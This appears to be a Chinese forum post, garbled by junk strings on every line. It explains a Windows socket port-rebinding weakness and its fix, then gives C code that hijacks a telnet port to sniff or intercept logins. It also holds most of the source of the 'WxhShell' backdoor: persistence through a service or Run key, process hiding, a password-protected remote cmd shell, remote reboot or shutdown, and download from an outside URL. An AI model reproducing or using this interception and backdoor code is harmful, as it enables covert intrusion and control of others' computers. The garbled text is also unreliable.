在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
$-p#4^dg s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
2Mw^EjR 56 [+;* saddr.sin_family = AF_INET;
6H'W]T& .F^372hH3 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
JGG (mrvR 7L !$hk bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
!v68`l15 (y!V0iy] 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
L7OFZ|gUz kS1?%E,)q 这意味着什么?意味着可以进行如下的攻击:
<BX'Owbs!O ukwO%JAr 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
`w
K6B5> w7`09oJm 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
WNcJ710k27 %Gc)$z/Wd 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
Xn
#v! Z>(K|3_ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
UtYwG#/w U C..)9 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
7 DW_G TS49{^d$ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
@;`d\lQ "[`/J?W 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
BVe c
Y"UB\_= #include
u=f}t=3 #include
D V=xqC6} #include
nk.j7tu #include
FfpP<(4 DWORD WINAPI ClientThread(LPVOID lpParam);
eiJ~1HX) int main()
{jOV8SVL {
i(an]%'v WORD wVersionRequested;
QUKv :; DWORD ret;
}2.0e5[ WSADATA wsaData;
9six]T BOOL val;
J|.n bSE SOCKADDR_IN saddr;
v!6IH SOCKADDR_IN scaddr;
F/w*[Xi
Sh int err;
v/[*Pze,C SOCKET s;
Kw87 0n< SOCKET sc;
|h^]`= 3 int caddsize;
Yc2dq e> HANDLE mt;
0}qnq" DWORD tid;
Jm[_X wVersionRequested = MAKEWORD( 2, 2 );
+V9<ug6T err = WSAStartup( wVersionRequested, &wsaData );
PS'SI X if ( err != 0 ) {
-W.bOr printf("error!WSAStartup failed!\n");
Wo+^R%K'4 return -1;
Y^-D'2P]P }
"/0Vvy _| saddr.sin_family = AF_INET;
L7PMam W_RN@O //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
,lb > ^2\-zX!bt saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
,?(U4pzX saddr.sin_port = htons(23);
V|j{#; if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
.M( [n- {
*_H^]wNJG printf("error!socket failed!\n");
aK?PK }@ return -1;
ykD-L^} }
4`'V%)M val = TRUE;
?F/)<r //SO_REUSEADDR选项就是可以实现端口重绑定的
.kp3<. if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
Kdr}7#c {
IXC2w*'m printf("error!setsockopt failed!\n");
;fxrOfb return -1;
M@<r8M]G }
a,eJO ?? //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
NN]8T //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
O6$n VpD3 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
t-?#x
w"
,ab j if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
8T}Dn\f {
h)h%y)1 ret=GetLastError();
4MPR printf("error!bind failed!\n");
Q=h37]U+ return -1;
Rgb&EnVW }
=i:,")W7= listen(s,2);
{+jO/ZQu5 while(1)
Q3rLCg,; {
@j'GcN vs caddsize = sizeof(scaddr);
c_Jcy //接受连接请求
1{.5X8y1x sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
i#:M2&twE if(sc!=INVALID_SOCKET)
<|1Kh ygv {
L|Bjw3K&D mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
w-P;E!gTt if(mt==NULL)
y,Z2`Zmu {
EqF>=5* printf("Thread Creat Failed!\n");
h.4FY< break;
`i)Pf WdBN }
>6Ody<JPHP }
q_z ;kCHM CloseHandle(mt);
=h,J!0Y }
?yKG\tPhM closesocket(s);
hUe\sv!x? WSACleanup();
;! ,I1{` return 0;
.Z(Q7j^ }
(N?nOOQ DWORD WINAPI ClientThread(LPVOID lpParam)
u]sxX") {
c]A @'{7 SOCKET ss = (SOCKET)lpParam;
.\mkgAlyaM SOCKET sc;
o,[Em< unsigned char buf[4096];
~mC>G 4y$a SOCKADDR_IN saddr;
Dn:1Mtj- long num;
_71&".A DWORD val;
Q=t_m(:0 DWORD ret;
oQK,#>rv //如果是隐藏端口应用的话,可以在此处加一些判断
j9f[){m` //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
"GX k;Y saddr.sin_family = AF_INET;
N14Q4v-*x saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
FB2{qG3 saddr.sin_port = htons(23);
Wn&9R
j if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
=kjD ]+l {
: $N43_Wb printf("error!socket failed!\n");
mNKcaM?h return -1;
aEn*vun }
EAV6qW\r5] val = 100;
+Ou<-EQV if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
g1I8_!}~ {
~T!D:2G ret = GetLastError();
@T] G5|\ok return -1;
S2:G#%EAa }
bK k7w#y if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
iz3Hoj {
uLr-!T ret = GetLastError();
8\rAx P}= return -1;
]T._TZ" }
`$XgfMBf | if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
#6mr'e1 {
xtK}XEhG! printf("error!socket connect failed!\n");
6\USeZh closesocket(sc);
@?5pY^>DK closesocket(ss);
@./@"mR< return -1;
*0Wkz'=U }
eN0lJ ~ while(1)
?;GXFKy {
\-D[C+1( //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
jJAr #| //如果是嗅探内容的话,可以再此处进行内容分析和记录
CEJqo8ds //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
>=/DCQ$ num = recv(ss,buf,4096,0);
0Ok[`r` if(num>0)
2]V8- send(sc,buf,num,0);
X0 ]Se( else if(num==0)
WF-^pfRq~ break;
I].ddR% num = recv(sc,buf,4096,0);
7>f)pfLM if(num>0)
&/?OP)N,} send(ss,buf,num,0);
BiA^]h/| else if(num==0)
K0\`0E^, break;
kH?PEA! \ }
Ymm*p,` closesocket(ss);
_ygdv\^Tet closesocket(sc);
DTl&V|h$ return 0 ;
BirnCfj/2 }
.&.L@CRH ;iz3Bf1o et<@3wyd] ==========================================================
]F #0to f{U,kCv 下边附上一个代码,,WXhSHELL
?f*>=;7= j-v/;7s/B ==========================================================
J9P\D! GQ}R xu] #include "stdafx.h"
j]m|}n XsX];I{E, #include <stdio.h>
'y7<!uo? #include <string.h>
^_/gM[H. #include <windows.h>
YGhHIziI #include <winsock2.h>
x$KQ*P~q #include <winsvc.h>
L#fS P #include <urlmon.h>
J]|S0JC` 3iw.yR #pragma comment (lib, "Ws2_32.lib")
g_)i)V #pragma comment (lib, "urlmon.lib")
0>:`|IGnT2 NN~PWy1opa #define MAX_USER 100 // 最大客户端连接数
$'KhA6u #define BUF_SOCK 200 // sock buffer
~R7{gCqdr #define KEY_BUFF 255 // 输入 buffer
$E^*^({ CJ [e^K{ #define REBOOT 0 // 重启
Ni#y=cb #define SHUTDOWN 1 // 关机
v1$}JX :<uCi\9( #define DEF_PORT 5000 // 监听端口
LG'1^W{a mV}eMw #define REG_LEN 16 // 注册表键长度
L08"8\ #define SVC_LEN 80 // NT服务名长度
n6{nx[%7N7 5;A=8bryU // 从dll定义API
;0}C2Cz' typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
vqo ~?9z[e typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
rLcXo%w typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
ZWx4/G typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
Oyp)Wm;@ ._<gc;G // wxhshell配置信息
9mEhZ" struct WSCFG {
%3T:W\h int ws_port; // 监听端口
GuQ# char ws_passstr[REG_LEN]; // 口令
Y^gIvX int ws_autoins; // 安装标记, 1=yes 0=no
cBU@853 char ws_regname[REG_LEN]; // 注册表键名
d4o_/[ char ws_svcname[REG_LEN]; // 服务名
fa,;Sw char ws_svcdisp[SVC_LEN]; // 服务显示名
~TjTd char ws_svcdesc[SVC_LEN]; // 服务描述信息
`!.c_%m2 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
d{DBG}/Yg int ws_downexe; // 下载执行标记, 1=yes 0=no
x)T07,3: char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
:s|xa u= char ws_filenam[SVC_LEN]; // 下载后保存的文件名
9\i^.2& <9`/Y"\ p };
RMa#z [{0 #Q%0y^s // default Wxhshell configuration
~AR0 ,lak struct WSCFG wscfg={DEF_PORT,
`7'=~BP?X "xuhuanlingzhe",
[H>/N7v19* 1,
7G_OFD "Wxhshell",
?{>5IjL)en "Wxhshell",
\?AA:U* "WxhShell Service",
kaV Ye)~ "Wrsky Windows CmdShell Service",
HK<oNr.d52 "Please Input Your Password: ",
hYh~[Kr^@^ 1,
6H:EBj54? "
http://www.wrsky.com/wxhshell.exe",
{=_xze) "Wxhshell.exe"
Y4*?QBYA };
*'R2Lo<C A{Q~@1 // 消息定义模块
Xa[lX8$zL char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
cQ/T:E7$` char *msg_ws_prompt="\n\r? for help\n\r#>";
4'XCO+i# char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
&XSe&1 char *msg_ws_ext="\n\rExit.";
c1StA char *msg_ws_end="\n\rQuit.";
G[!<mh4h| char *msg_ws_boot="\n\rReboot...";
62#8c~dL char *msg_ws_poff="\n\rShutdown...";
=4Wjb char *msg_ws_down="\n\rSave to ";
;sd] IZ$# YHr<`Q</ char *msg_ws_err="\n\rErr!";
'deqF|Iox char *msg_ws_ok="\n\rOK!";
zuvP\Y=V` jce2lXMm char ExeFile[MAX_PATH];
n/IDq$/P int nUser = 0;
r-o6I:y HANDLE handles[MAX_USER];
!Ly1!;< int OsIsNt;
j,#R?Ig dH0wVI<z SERVICE_STATUS serviceStatus;
RTTEAh:. SERVICE_STATUS_HANDLE hServiceStatusHandle;
'w}/o+x@ znd fIt^ // 函数声明
@fSqGsSk int Install(void);
,YmTx int Uninstall(void);
}pv<<7}| int DownloadFile(char *sURL, SOCKET wsh);
9_pOV%Qs int Boot(int flag);
<(caY37o6) void HideProc(void);
q.PXO3T int GetOsVer(void);
~kPZh1n` int Wxhshell(SOCKET wsl);
U+g<lgH1J void TalkWithClient(void *cs);
D~ %h3HM int CmdShell(SOCKET sock);
7 *HBb- int StartFromService(void);
1 *$-. int StartWxhshell(LPSTR lpCmdLine);
+4k7ti1Qb Cg&cz]*q| VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
M \3Zj(E/ VOID WINAPI NTServiceHandler( DWORD fdwControl );
PiwI.c #[Vk#BIiv8 // 数据结构和表定义
ZNG{:5u, SERVICE_TABLE_ENTRY DispatchTable[] =
Mhze!! {
w\ 7aAf3O {wscfg.ws_svcname, NTServiceMain},
|HB {NULL, NULL}
)F4P-u };
yn-TN_/Y, L<TL6 // 自我安装
?TVR{e: int Install(void)
kc70HrG {
d/`Q,Vl char svExeFile[MAX_PATH];
"+J[7p}`@ HKEY key;
C8.MoFfhe strcpy(svExeFile,ExeFile);
{F+iL&e) fQOh%i9n5 // 如果是win9x系统,修改注册表设为自启动
Se
%"C& if(!OsIsNt) {
\d{S3\7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
*^P$^lm?S RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
E`>u*D$un~ RegCloseKey(key);
H:M;H=0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
U49
`!~b7 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Vy[ m%sEP RegCloseKey(key);
x(/{]$h return 0;
Vtr5<:eEx }
Y:}!W }
+=A53V[C }
rfS kQT else {
ON<X1eU s4{WPU9 // 如果是NT以上系统,安装为系统服务
Bys _8x} SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
Sx3R2-!Z if (schSCManager!=0)
:=K <2 {
3fWL}]{<a SC_HANDLE schService = CreateService
COf>H0^%Q (
Zl+Ba schSCManager,
i'bUX=JK wscfg.ws_svcname,
bR}{xHe wscfg.ws_svcdisp,
9!sR} SERVICE_ALL_ACCESS,
,HLgb}~ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
R59'KR2? SERVICE_AUTO_START,
>'X[*:Cx SERVICE_ERROR_NORMAL,
\6U$kMGde svExeFile,
&p2fMVWJ7 NULL,
+kK6G#c NULL,
(G3S+T 9 NULL,
VU[4 W8f NULL,
z;VabOr^ NULL
APA:K9jD );
y=)xo7( if (schService!=0)
q|+`ihut {
Ce0YO~I CloseServiceHandle(schService);
V]$Tbxg CloseServiceHandle(schSCManager);
%!i|"FNc strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
9As K=/Buf strcat(svExeFile,wscfg.ws_svcname);
PV_q=70%T if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
KLn.vA. RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
i#%17} RegCloseKey(key);
E{Ux|r~ return 0;
c$>$2[*= }
(wRJ"Nwu }
f2"1^M CloseServiceHandle(schSCManager);
D!oELZ3 }
WTcrfs)T }
*=X$j~#X _V`Gmy[]p return 1;
b&V}&9'[M; }
fv",4L s@ ~Y!A // 自我卸载
u`]J]gE int Uninstall(void)
0Lo)Ni^" {
W_E0+ HKEY key;
^U`Bj*"2 /b)V=mcR if(!OsIsNt) {
f/Lyc=-] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
AMhHq/Dw RegDeleteValue(key,wscfg.ws_regname);
s]"NqwIPK RegCloseKey(key);
azxGUS_i< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
tC,R^${# RegDeleteValue(key,wscfg.ws_regname);
Jmp%%^ RegCloseKey(key);
9f
^c9@= return 0;
J^J$I! }
&z@~n }
{v,O }
&C.{7ZNt else {
SGd[cA
K o BP6|^Q SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
8pQx6QE if (schSCManager!=0)
KL8G2"Z {
l1&NU'WW SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
.^fVm if (schService!=0)
8<Y*@1*j {
BJ0P1vh6M if(DeleteService(schService)!=0) {
JFyw,p&xB CloseServiceHandle(schService);
8+>r!)Q+ CloseServiceHandle(schSCManager);
=peodj^ return 0;
xb2xl.2x! }
^Lx(if
WJ CloseServiceHandle(schService);
DcO$&)Eb }
eCDwY:t` CloseServiceHandle(schSCManager);
a,GOS:?O5 }
`Dck$ }
5cv&`h8uo_ ']N1OVw^vf return 1;
5 (Lw-_y# }
<}G*/ z?/ )Oxsasn)M // 从指定url下载文件
M x/G^yO9 int DownloadFile(char *sURL, SOCKET wsh)
>tmv3_<= {
n#2tFuPE HRESULT hr;
>9Yo:b:f char seps[]= "/";
CNo'qlvF5N char *token;
" vW4"R6 char *file;
Z%Kkh2-uh char myURL[MAX_PATH];
<sALA~p|0 char myFILE[MAX_PATH];
r%c raf H2ZRUFu strcpy(myURL,sURL);
eSqKXmH[m token=strtok(myURL,seps);
X]Aobtz while(token!=NULL)
[tKH'}/s= {
#2/2Xv file=token;
St1Ny,$yU token=strtok(NULL,seps);
Jv,*rQH }
9!``~]G2 GOKca%DT= GetCurrentDirectory(MAX_PATH,myFILE);
AYVkJq ? strcat(myFILE, "\\");
%kHeU= strcat(myFILE, file);
X,]E { send(wsh,myFILE,strlen(myFILE),0);
?M}W;Z send(wsh,"...",3,0);
T{A_]2
G hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
A~@u#]]<n if(hr==S_OK)
}nsxo5WP return 0;
0r=KY@D else
d)R7#HLZ7 return 1;
ujLz<5gKuO IO@Ti(, }
R_vF$X'O w wNfWHaH" m // 系统电源模块
6>X9|w int Boot(int flag)
;(F_2&he
{
@@1Sxv_ HANDLE hToken;
.|VWYN TOKEN_PRIVILEGES tkp;
6T qs6* nNEIwlj; if(OsIsNt) {
Wx`|u OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
fz[-pJ5[ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
38gHM9T
xh tkp.PrivilegeCount = 1;
,rU>)X tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
ndXUR4 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
DNyU]+\L[l if(flag==REBOOT) {
&gr)U3w if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
z'!sc"]W6 return 0;
3G.-JLhs }
# cAX9LV else {
8HaBil if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
OsGKlWM/ return 0;
67{3/(`x }
gK6_vS4K) }
$Lc-}m9n else {
ar%!h~ if(flag==REBOOT) {
skeXsls if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Rnd.<jz+Y return 0;
,K-?M5(n9 }
&x#3N=c# else {
)Bb:?!EuEH if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
fJdTVs@ return 0;
YM`I&!n }
}Y=X{3+~. }
qJyGr ? V-N`R-FSr return 1;
AnD#k] }
+p\+15 lI&5.,2MP // win9x进程隐藏模块
_KSlIgQ
}0 void HideProc(void)
tDQo1,(oY {
U~l.%mui $;Nw_S@ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
!=B=1th4 if ( hKernel != NULL )
./r#\X)dc {
()`cW>[ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
1<n'F
H3 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
hVLVMqd FreeLibrary(hKernel);
Y2&hf6BE }
i[r>^U8O }u&,;] return;
-S6^D/(; }
dZ;rn!dg> TMAart;< // 获取操作系统版本
CeD(!1VG int GetOsVer(void)
eZ`x[g%1 {
SYaL@54 OSVERSIONINFO winfo;
KpF/g[m winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
Cu-z`.#}R GetVersionEx(&winfo);
*T:gx:Sg/ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
Q?WgGE4> return 1;
c[zaYcbl else
7Pp~)Kq= return 0;
9zac[tno }
=Dc9|WuHN mJFFst, // 客户端句柄模块
G}NT[ int Wxhshell(SOCKET wsl)
w7"&\8a {
m14OPZ<3?- SOCKET wsh;
<v+M ~"%V struct sockaddr_in client;
&br_opNi DWORD myID;
v#E RXIrf ,Jqk0cW2 while(nUser<MAX_USER)
.N~YVul[a* {
Hr/3nq}. int nSize=sizeof(client);
=! P wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
yIG* if(wsh==INVALID_SOCKET) return 1;
vI1UFD
D Y>a2w zr handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
z3|)WS^ if(handles[nUser]==0)
(8d"G9R( closesocket(wsh);
p({)ZU3 else
^E| {i]j#f nUser++;
<rAWu\d; }
6fcn(&Qk WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
UukHz}(E ~ s# !\Ye return 0;
6j5?&)xJ }
[(eO_I5ep ;&?l1Vu // 关闭 socket
RQt\_x7P void CloseIt(SOCKET wsh)
," ~4l&
{
/Q*cyLv closesocket(wsh);
;VIW/ nUser--;
]CZ&JL ExitThread(0);
_?J:Z*z? }
zyF[I6Gs hY^-kdQ>M // 客户端请求句柄
WzxDnd<B void TalkWithClient(void *cs)
Q?"-[6[v {
{nl4(2$ ~n$e SOCKET wsh=(SOCKET)cs;
f[$9k}. char pwd[SVC_LEN];
q" %;),@ char cmd[KEY_BUFF];
^d[s*,i? char chr[1];
p@x1B
&Z int i,j;
j@b18wZ 2Y'=~*tV while (nUser < MAX_USER) {
d/3
k3HdL 8 ?+t+m[ if(wscfg.ws_passstr) {
M+q|z0 U if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
{Kh u'c //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
*[?DnF+ //ZeroMemory(pwd,KEY_BUFF);
n^m6m%J) i=0;
M.QXwIT while(i<SVC_LEN) {
_O*"_^6 @vcvte // 设置超时
Tl ?]K fd_set FdRead;
U3zwC5}BN struct timeval TimeOut;
\%ZF<sVW FD_ZERO(&FdRead);
p"XQJUuD FD_SET(wsh,&FdRead);
.Lc<1s TimeOut.tv_sec=8;
;}=[( eqA TimeOut.tv_usec=0;
Nq3q##Ut: int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
Ikbz3]F^V if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
=W
Q_5} 0o+2]`q)Q if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
V9o_Q pwd
=chr[0]; >kJEa8
if(chr[0]==0xd || chr[0]==0xa) { h
r!Htew4
pwd=0; _'lrI23I
break; Tfba3+V
} s]p3dB#
i++; B{0m0-l
} RO1xcCp
9G'Q3?
z
// 如果是非法用户,关闭 socket D{!NTr
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "77 j(Vs9
} `1$7. ydQ
Vgh_F8G!V
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); RW@sh9
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k 8Swra?j
k!lz_Y
while(1) { l'2a?1/q
I}a iy.l
ZeroMemory(cmd,KEY_BUFF); @I '_
%kg%ttu7
// 自动支持客户端 telnet标准 7TC=$y ,
j=0; #sq$i
while(j<KEY_BUFF) { _=.f+1W
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); TCd1JF0
cmd[j]=chr[0]; N?'V,p
0=
if(chr[0]==0xa || chr[0]==0xd) { M8, W|eTM
cmd[j]=0; -H%806NAX7
break; B0KZdBRx}
} hl[!4#b]K
j++; ci@U
a}T
} m-Uq6_e
LI&+5`
// 下载文件 o!3 -=<^
if(strstr(cmd,"http://")) { YAIDSZ&l[
send(wsh,msg_ws_down,strlen(msg_ws_down),0); U[a;eOLx
if(DownloadFile(cmd,wsh)) GCUzKf&
send(wsh,msg_ws_err,strlen(msg_ws_err),0); T`;>Kq:s
else JWa9[Dj
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x"Hi!h)v
} ^/3R/;?
else { 0r?}LWjf
*\Y \$w
switch(cmd[0]) { 1>"K<6b+
A&2 )iQ
// 帮助 CE$c/d[N.
case '?': { wPn#>\/L
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -
T,;Fr'
break; |8$x
} \S)\~>.`y!
// 安装 NY'sZTM&
case 'i': { 5_@8g+~
if(Install()) O/9 dPod
send(wsh,msg_ws_err,strlen(msg_ws_err),0); -$E_L:M
else ag-\(i;K]
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LsnM5GU7
break; HXTBxh
} 8"4&IX
// 卸载 lEBt<
case 'r': { ,OX(z=i_
if(Uninstall()) C|"h]
send(wsh,msg_ws_err,strlen(msg_ws_err),0); gp:,DC?(
else Y{TzN%|LV
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m
?a&XZ
break; Uj)~ >V'
} ,c@^u6a
// 显示 wxhshell 所在路径 *v[WJ"8@
case 'p': { coHzbD~#H
char svExeFile[MAX_PATH]; )v-sde\
strcpy(svExeFile,"\n\r"); +-=w`
strcat(svExeFile,ExeFile); +zQ
a"Ep*
send(wsh,svExeFile,strlen(svExeFile),0); X ?/C9
break; ,%#FK|
} YK/?~p9:
// 重启 |hjm^{!TpW
case 'b': { ~n$VCLa
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); fPf8hz>
if(Boot(REBOOT)) ca@0?q#
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Wc4F'}s
else { Sni Ck*T,
closesocket(wsh); ')w:`8Tl
ExitThread(0); !>g_9'n'
} oZxC.;xJ
break; kzqW&`xn?
} ;Ft_ Xiq
// 关机 LMf_wsp
case 'd': { }1P>^I"[Y
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |*W`}i
if(Boot(SHUTDOWN)) JzJS?ZF
send(wsh,msg_ws_err,strlen(msg_ws_err),0); a$p?r3y
else { wK+%[i&,
closesocket(wsh); N/QTf1$
ExitThread(0); Z~o6%_xe
} _-$"F>
break; lCBb0k2
} cF9bSY_Eh
// 获取shell Xm./XC
case 's': { P08=?
CmdShell(wsh); +1R?R9^Fw
closesocket(wsh); n0_q-8r
ExitThread(0); R _WP r[P
break; CfKvC
} *Ppb;
// 退出 eXY*l>B
case 'x': { 9kmkF,
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \jDD=ew
CloseIt(wsh); ufE;rcYE
break; >NWrT^rk
} yrOWC
// 离开 ?!=yp#
case 'q': { :DTKZ9>2D
send(wsh,msg_ws_end,strlen(msg_ws_end),0); -&JUg
o=
closesocket(wsh); t{#Btd
WSACleanup(); FS7 _ldD
exit(1); >J+'hm@
break; C?jk#T
} >58N P1[k
} 68
%=
V>V
} ~Ts^z(v~D2
vt@5Hb)
// 提示信息 n $RhD93
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qjQR0MC
} 1zwk0={x-%
} q}[g/%
W($}G_j[B1
return; qRkY-0vBP
} ' NyIy:
x%Ph``XI
// shell模块句柄 7\>P@s
int CmdShell(SOCKET sock) b^[Ab:`}[V
{ ~.99H
STARTUPINFO si; qPeaSv]W
ZeroMemory(&si,sizeof(si)); fYrC;&n
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @X@?jj&
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; wVU.j$+_#
PROCESS_INFORMATION ProcessInfo; xj8yQ Y1
char cmdline[]="cmd"; 0$)uOUVJ
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :.wR *E
return 0; FCL7Tn
} &)[?D<
N>kY$ *
// 自身启动模式 1h uU7xuf
int StartFromService(void) THC7e>P4
{ G`H4#@]
typedef struct )Il)
H
{ DX>Yf}
DWORD ExitStatus; 4D+S\S0bk
